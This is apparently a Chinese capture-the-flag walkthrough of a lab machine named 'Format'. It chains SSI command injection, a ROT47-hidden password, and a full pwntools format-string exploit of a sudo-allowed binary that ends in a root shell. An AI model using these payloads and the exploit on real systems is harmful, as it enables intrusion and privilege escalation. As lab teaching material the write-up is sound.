

Format

user
root

user

靶机搭建起来之后，访问对应ip<http://192.168.56.101/index.shtml>，发现是shtml的网页，尝试用ssi

FORMAT – System Monitor v1.0.4

Node Status: [ONLINE]

Local Time: 2026/5/28 13:38:17

Server Software: Nginx/1.24.0 (Linux x86_64)

Maintenance Logs

[2026/5/28 13:37:35] Thursday, 28-May-2026 00:37:32 CDT

Append Activity Log:

SUBMIT DATA

▼Shell

1 <!--#echo var="DATE_LOCAL" -->

ls

```
[2026/5/28 16:05:30] comments.shtml index.shtml post.php
```

看看post.php

Shell

```
1 <!--#exec cmd="cat /var/www/html/post.php" -->
```

Request id: 18

美化 HEX FUZZ

```
GET /comments.shtml HTTP/1.1
Host : 192.168.56.101
Accept: */*
Referer: http://192.168.56.101/index.shtml
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
```

Response

美化 HEX 渲染 编辑tag 编码

```
1 HTTP/1.1 200 OK
2 Date: Thu, 28 May 2026 07:41:01 GMT
3 Server: Apache/2.4.66 (Debian)
4 Accept-Ranges: bytes
5 Vary: Accept-Encoding
6 Content-Type: text/html; charset=utf-8
7 Content-Length: 157
8
9 <?php
10 $data=$_POST['comment'];
11 file_put_contents("comments.shtml",$data);
12 header("Location: index.shtml");
13 exit();
14 //rot47
15 //2?56=:iC"tKHsKF6!@x}&&:
16 ?>
17
```

PHP

```
1 <?php
2 $data = $_POST['comment'];
3 file_put_contents("comments.shtml", $data);
4 header("Location: index.shtml");
5 exit();
6 // rot47
7 // 2?56=:iC"tKHsKF6!@x}&&:
8 ?>
```

这有个ROT 47的解密:

Last build: A month ago

476

Recipe

^ [icon] [icon]

ROT47

Amount 47

Input

2?56=:iC"tKHsKF6!@x}&&:

REC 23 1

Output

andeli:rQEzwDzuePoINUUi

andeli : rQEzwDzuePoINUUi , 也就是账密



然后拿到user的权限

root

```
Last login: Thu May 28 05:41:24 2026 from 192.168.56.1
andeli@Format:~$ sudo -l
Matching Defaults entries for andeli on Format:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User andeli may run the following commands on Format:
    (ALL) NOPASSWD: /usr/local/bin/format
andeli@Format:~$

andeli@Format:/usr/local/bin$ ./format
aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
00000001.22222222.00000001.aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
aaaa.0xff9ac2d0.(nil).0xff9ac334.0x61616161.0x2e70252e.0x252e702
5.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7
andeli@Format:/usr/local/bin$
```

第4个参数；到ida中看一下

```

1  int __cdecl main(int argc, const char **argv, const char **envp)
2  {
3      char format[100]; // [esp+0h] [ebp-78h] BYREF
4      int v5; // [esp+64h] [ebp-14h]
5      int n572662306; // [esp+68h] [ebp-10h]
6      int v7; // [esp+6Ch] [ebp-Ch]
7
8      v7 = 1;
9      n572662306 = 572662306;
10     v5 = 1;
11     __isoc99_scanf(&unk_8048560, format);
12     printf("%08x.%08x.%08x.%s\n", v7, n572662306, v5, format);
13     printf(format);
14     return 0;
15 }

```

整体思路是先泄露 `__libc_start_main` 的地址，然后计算libc中system函数的地址，然后把printf的函数修改成system函数，然后再发送/bin/sh即可。

```

• .text:080484C8 088 50          push    eax                      ; format
• .text:080484C9 08C E8 62 FE FF FF    call    _printf
• .text:080484C9
• .text:080484CE 08C 83 C4 10          add     esp, 10h
• .text:080484D1 07C B8 00 00 00 00    mov     eax, 0
• .text:080484D6 07C 8B 4D FC          mov     ecx, [ebp+var_4]
• .text:080484D9 07C C9              leave
• .text:080484DA 000 8D 61 FC          lea     esp, [ecx-4]
• .text:080484DD 000 C3              retn
• .text:080484DD          ; } // starts at 804846B
• .text:080484DD          main endp
• .text:080484DD
• .text:080484DD          ; -----
• .text:080484DE 66 90          align 10h
• .text:080484E0

```

需要注意的是他最后的leave return, 和常规的不一样, `var_4 = -4`, 所以说它的返回地址是存在ebp-4的

```
1  from pwn import *
2
3  context(arch='i386', os='linux', log_level='debug')
4
5  elf = ELF('./format')
6  libc = ELF('/lib/i386-linux-gnu/libc.so.6')
7  p = process('./format')
8
9  main = 0x0804846b
10 libc_start_got = 0x0804a010
11 loop_stack = 0x0804ae41
12 rop_stack = 0x0804af41
13
14 #泄露libc, 同时把loop_stack写成main, 然后返回main
15 payload = p32(libc_start_got)
16 payload += p32(loop_stack)
17 payload += p32(loop_stack + 1)
18 payload += p32(loop_stack + 2)
19 payload += p32(loop_stack + 3)
20 payload += b'LEAK%$.4s'
21 payload += b'%9$79c%5$hhn'
22 payload += b'%9$25c%6$hhn'
23 payload += b'%9$128c%7$hhn'
24 payload += b'%9$4c%8$hhn'
25 payload += b'%9$4096c'
26 payload = payload.ljust(0x74, b'a') + p32(loop_stack + 4)
27
28 p.sendline(payload)
29 p.recvuntil(b'LEAK')
30 p.recvuntil(b'LEAK')
31
32 leak = u32(p.recv(4))
33 libc_base = leak - libc.sym['__libc_start_main']
34 system = libc_base + libc.sym['system']
35 binsh = libc_base + next(libc.search(b'/bin/sh'))
36
37 success('libc_base = ' + hex(libc_base))
38 success('system = ' + hex(system))
39 success('/bin/sh = ' + hex(binsh))
40 p.recvrepeat(0.1)
41
42 #在rop_stack写system, 再返回main
43 payload = fmtstr_payload(4, {rop_stack: system}, write_size='byte', no_dollars=True)
```

```

44 payload = payload.ljust(0x74, b'a') + p32(loop_stack + 4)
45 p.sendline(payload)
46 p.recvrepeat(0.1)
47
48 #在rop_stack+8写/bin/sh, 最后迁移到rop_stack
49 payload = fmtstr_payload(4, {rop_stack + 8: binsh}, write_size='byte', no_
dollars=True)
50 payload = payload.ljust(0x74, b'a') + p32(rop_stack + 4)
51 p.sendline(payload)
52
53 p.interactive()
54

```

```

andeli@Format:~$ python3 exp2.py
[+] Starting local process '/usr/bin/sudo': pid 203909
[+] libc base = 0xf7c00000
[+] system = 0xf7c4c920
[*] Switching to interactive mode
$ ls
core    exp2.py      exp_simple.py    exp_sudo_slot90_wait.py  format
exp.py  exp_final.py exp_sudo_slot90.py exp_sudo_test.py        user.txt
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cd /root/
$ ls
root.txt
$ cat root.txt
flag{root-ef87f4da3c05d13f860a663eba5adac3}

```